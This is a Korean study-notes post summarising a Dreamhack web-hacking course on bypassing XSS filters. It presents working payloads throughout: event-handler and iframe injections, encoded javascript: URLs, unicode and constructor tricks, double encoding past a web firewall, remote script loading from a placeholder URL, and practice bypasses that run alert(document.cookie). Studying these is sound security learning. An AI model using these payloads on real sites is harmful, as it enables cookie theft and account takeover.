💡 [Dreamhack] Web Hacking Advanced - Client Side - XSS Filterfing Bypass I, II를 공부하며 정리하였습니다.

#1. 이벤트 핸들러 속성

태그의 속성 값으로 스크립트를 포함할 수 있는 경우가 존재한다. 대표적으로 이벤트 핸들러를 지정하는 on으로 시작하는 속성들이 존재한다. 이벤트 핸들러란 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 핸들러 함수이다.

자주 사용되는 이벤트 핸들러 속성: onload, onerror, onfocus

onerror 이벤트 핸들러

  
<!-- 이미지 로드 성공 > onerror 핸들러 실행X -->
<img src="valid" onerror="alert(1)">

<!-- 이미지 로드 실패 > onerror 핸들러 실행 -->
<img src="invalid" onerror="alert(1)">

onfocus 이벤트 핸들러

  
<!-- autofocus 속성을  주어 자동으로 포커스를 시킴 -->
<input id="inputBox" onfocus="alert(1)" autofocus>

<!-- id 값을 주어 URL의 hash(/#inputBox) 부분에 id 값을 입력하여 포커스 되도록 설정. -->
<input id="inputBox" onfocus="alert(1)">

#2. 문자열 치환

XSS 키워드를 필터링할 때 문자열을 단순히 치환하거나 제거하는 방식도 사용되곤 한다. 단순히 의심되는 구문을 제거할 경우 필터링되는 키워드 사이에 새로운 필터링 키워드를 삽입하는 방식으로 우회 가능하다.

문자열 치환 우회

  
/* 필터링 함수 */
function XSSFilter(data){
  return data.replace(/script/gi, '');
}

  
<!-- 키워드를 중첩 삽입하여 우회 -->
<sscriptcript>alert(1)</sscriptcript>

#3. 활성 하이퍼링크

HTML 마크업에서 사용될 수 있는 URL은 활성 콘텐츠를 포함할 수 있다. javascript: 스키마는 URL 로드 시 자바스크립트 코드를 실행할 수 있도록 한다.

URL 스키마

다음과 같이 a 태그나 iframe 태그에서 URL 속성에 스키마를 사용할 수 있다.

  
<a href="javascript:alert(1)"></a>
<iframe src="javascript:alert(1)">

정규화 우회

이를 방지하고자 XSS 키워드를 필터링할 때 javascript: 스키마를 필터링하는 경우가 존재하는데, 이는 정규화를 이용하여 우회할 수 있는 경우가 존재한다. 정규화 과정에서 \x01, \x04, \t와 같은 특수 문자들이 제거되고, 스키마의 대소문자가 통일된다.

  
<a href="\1\4jAVasC\triPT:alert(1)"></a>
<iframe src="\1\4jAVasC\triPT:alert(1)">

HTML Entity Encoding

HTML 태그 속성 내에서는 HTML Entity Encoding을 사용할 수 있다. 이를 이용하여 javascript: 스키마나 XSS 키워드를 인코딩하여 필터링을 우회할 수도 있다.

  
<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(1)"></a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(1)">

+) URL 정규화 테스트 자바스크립트에서는 URL 객체를 통해 URL을 직접 정규화할 수 있으며, protocol, hostname 등 URL의 각종 정보를 추출할 수 있다.

  
function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"

#4. 태그와 속성 기반 필터링

대소문자 인식 필터

대소문자를 모두 검사하지 않을 경우 다음과 같이 우회 가능하다.

<sCript>alert(1)</scRIPT>

특정 태그 및 속성 필터

script, img, input과 같은 태그를 필터링 할 때, 다른 태그를 사용해 공격을 시도할 수 있다.

  
<video><source onerror="alert(1)"/></video>
<body onload="alert(1)"/>

on 이벤트 핸들러를 필터링하고, 멀티 라인을 지원하는 문자를 검사할 때, 새로운 inner frame을 생성하는 iframe 태그를 이용해 우회할 수 있다.

  
<!-- src 속성에서 활성 하이퍼링크 이용 -->
<iframe src="javascript:alert(1)">
  
<!-- srcdoc 속성을 이용 -->
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

위에서 srcdoc 속성을 이용하여 inner frame 내에 새로운 XSS 공격 코드를 입력할 수 있는데 이때, HTML 속성 내에 들어가기에 HTML Entity Encoding으로 기존 필터링을 우회하는 것이 가능하다. parent.alert를 호출하는 이유는 스크립트가 호출되는 영역의 상위 문서에 존재하는 alert를 호출 해야하기 때문이다.

#5. 자바스크립트 함수 및 키워드 필터링

Unicode escape sequence

자바스크립트는 Unicode escape sequence를 지원한다. 이를 이용하여 필터링 된 문자열을 우회하는 것이 가능하다. (Unicode escape sequence는 \uAC00 == 가와 같이 문자열에서 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법)

  
"\u0063ookie" // cookie
"cooki\x65"   // cookie
\u0061lert(1) // alert(1)

Computed member access

자바스크립트는 Computed member access를 지원한다. Computed member access는 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능이다.

  
document["coo"+"kie"] == document["cookie"] == document.cookie

🔻 XSS 공격에 흔히 사용되는 구문과 필터링 우회를 위해 사용될 수 있는 대체 예시

구문	대체 구문
`alert`, `XMLHttpRequest` 등 문서 최상위 객체 및 함수	`window['al'+'ert']`, `window['XMLHtt'+'pRequest']` 등 이름 끊어서 쓰기
`window`	`self`, `this`
`eval(code)`	`Function(code)()`
`Function`	`isNaN['constr'+'uctor']` 등 함수의 `constructor` 속성 접근

문자열 선언

필터링 혹은 인코딩/디코딩의 이유로 특정 문자((), [], ", ' …)를 사용하지 못하는 경우에 해당 문자를 대체할 수 있는 방법들을 통해 우회하여 공격할 수 있다.

따옴표(", ')가 필터링되어 있다면 템플릿 리터럴(Template Literals)을 사용할 수 있다. 백틱(`)을 이용하여 선언할 수 있고, ${} 표현식을 이용해 다른 변수나 식을 사용할 수 있다. (템플릿 리터럴은 내장된 표현식을 허용하는 문자열 리터럴로, 여러 줄로 이뤄진 문자열과 문자를 보관하기 위한 기능으로 이용할 수 있다.)

RegExp 객체 사용하기
RegExp 객체를 생성하고 객체의 패턴 부분을 가져옴으로써 문자열을 만들 수 있다.
1 2 var foo = /Hello World!/.source; // "Hello World!" var bar = /test !/ + []; // "/test !/"
String.fromCharCode 함수 사용
String.fromCharCode 함수는 유니코드의 범위 중 파라미터로 전달된 수에 해당하는 문자를 반환한다.
1 var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
기본 내장 함수나 객체의 문자를 사용하는 방법
내장 함수나 객체를 toString 함수를 통해 문자열로 변경하면 형태가 문자열로 변환된다. 원하는 문자열을 만드는데 필요한 문자들을 한 글자씩 가져와 문자열을 만들 수 있다.
1 2 3 4 var baz = history.toString()[8] + // "H" (history+[])[9] + // "i" (URL+0)[12] + // "(" (URL+0)[13]; // ")" ==> "Hi()"
- history.toString() : "[object History]" 문자열 반환
- URL.toString() : "function URL () { [native code] }" 문자열 반환
숫자 객체의 진법 변환
10진수 숫자를 36진수로 변경하여 ASCII 영어 소문자 범위를 모두 생성할 수 있다. 이때, E4X 연산자 ("..")가 존재하는데, 주로 점 두개를 쓰거나 소수점으로 인식되지 않도록 공백과 점을 조합해 사용할 수 있다.
1 2 var foo = 29234652..toString(36); // "hello" var bar = 29234652 .toString(36); // "hello"

함수 호출

일반적인 자바스크립트의 함수 호출 방법

  
alert(1); // Parentheses
alert`1`; // Tagged Templates

소괄호와 백틱 문자가 모두 필터링 되어있는 경우, 다음과 같은 방법들로 우회할 수 있다.

javascript 스키마를 이용한 location 변경

javascript: 스키마를 이용해 location 객체를 변조하는 방식으로 자바스크립트 코드 실행.

  
 location = "javascript:alert\x281\x29;";
 location.href = "javascript:alert\u00281\u0029;";
 location['href'] = "javascript:alert\0501\051;";

Symbol.hasInstance 오버라이딩
ECMAScript 6에 추가된 Symbol을 속성 명칭으로 사용할 수 있다. 0 instanceof C를 연산할 때, C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과 값으로 사용하게 된다. instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있다.
1 2 "alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval}; Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
document.body.innerHTML 추가
document.body.innerHTML에 코드를 추가할 경우 새로운 HTML 코드가 문서에 추가되고, 코드를 실행할 수 있다. 이때, innerHTML로 HTML 코드를 실행할 때에는 보안 상 <script> 태그를 삽입해도 실행되지 않는다. 따라서 이벤트 핸들러를 이용해 코드를 실행해야 한다.
1 2 document.body.innerHTML += "<img src=x: onerror=alert(1)>"; documnet.body.innerHTML += "<body src=x: onload=alert(1)>";

#6. 더블 인코딩(Double Encoding)

입력 검증은 디코딩 등의 모든 전처리 작업을 마치고 수행해야 한다. 검증이 끝난 데이터를 디코딩하여 사용해서는 안된다. 웹 방화벽을 거쳐 애플리케이션으로 전달되는 웹 서버에서, 웹 방화벽으로부터 통과한 데이터를 다시 디코딩해서 사용하면 더블 인코딩으로 웹 방화벽의 검증을 쉽게 우회할 수 있다.

// Failed Request
POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1

// Successful Request
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1

#7. 길이 제한

삽입할 수 있는 코드의 길이가 제한되어 있는 경우, 다른 경로로 실행할 추가적인 코드(payload)를 URL fragment 등으로 삽입하고 본 코드를 실행하는 짧은 코드(launcher)를 사용할 수 있다.

location.hash

Fragment로 스크립트를 넘겨주고 XSS 지점에서 location.hash로 fragment 부분을 추출하여 eval() 로 실행하는 기법이 흔히 사용된다.

https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(1); 

외부 자원을 이용한 공격방식

  
import('malicious_url');

  
var e = document.createElement('script')
e.src = 'malicious_url';
document.appendChild(e);

  
fetch('malicious_url').then(x=>eval(x.text()))

#Practice

“alert”, “window”, “document” 필터링

alert(document.cookie) 실행

Filtering function

  
 function XSSFilter(data){
  		if(/alert|window|document/.test(data)){
 		return false;
  		}
  		return true;
 }

Bypass

  
 // 1) 유니코드 이용
 \u0061lert(\u0064ocument.cookie);
               
 // 2) this 키워드로 window 객체 접근
 this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);

주요 키워드와 특수문자 필터링

alert(document.cookie) 실행

Filtering function

  
 function XSSFilter(data){
  	if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){
       return false;
  		}
  		return true;
 }

Bypass

  
 // 1) decodeURI 함수 이용
 Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
   decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
               
 // 2) atob 함수 & constructor 속성 이용
 Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();

1) URL Encoding은 하단의 사이트 참고 https://www.w3schools.com/tags/ref_urlencode.ASP https://onlineasciitools.com/url-encode-ascii
2) Base64 값은 btoa('string') 함수 이용

(, ), “, ‘, ` 필터링

alert(document.cookie) 실행

Filtering function

  
 function XSSFilter(data){
  	if(/[()"'`]/.test(data)){
       return false;
  		}
  		return true;
 }

Bypass

  
 // 1) RegExp & URL.toString & Symbol.hasInstance
 /alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};

 // 2) javascript 스키마로 location 변경 & RegExp & URL.toString
 location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];

[Study] XSS Filtering Bypass

#1. 이벤트 핸들러 속성

onerror 이벤트 핸들러

onfocus 이벤트 핸들러

#2. 문자열 치환

문자열 치환 우회

#3. 활성 하이퍼링크

URL 스키마

정규화 우회

HTML Entity Encoding

#4. 태그와 속성 기반 필터링

대소문자 인식 필터

특정 태그 및 속성 필터

#5. 자바스크립트 함수 및 키워드 필터링

Unicode escape sequence

Computed member access

문자열 선언

함수 호출

#6. 더블 인코딩(Double Encoding)

#7. 길이 제한

location.hash

외부 자원을 이용한 공격방식

#Practice

Further Reading

[Study] Content Security Policy

[Study] Assembly

[Study] Memory Layout